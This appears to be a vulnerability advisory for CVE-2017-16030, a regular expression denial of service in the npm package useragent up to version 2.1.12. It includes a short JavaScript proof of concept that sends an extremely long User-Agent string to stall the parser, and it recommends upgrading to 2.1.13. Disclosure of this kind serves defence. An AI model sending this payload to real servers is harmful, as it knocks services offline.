high7.5
CVE-2017-16030
ReDoS via long UserAgent header in useragent
Impact
Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed. ## Proof of Concept ```js var useragent = require('useragent'); var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP'; var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n'; console.log(useragent.parse(request)); ``` ## Recommendation Update to version 2.1.13 or later.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | useragent | <= 2.1.12 | 2.1.13 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Useragent Project | Useragent | through 2.1.12 |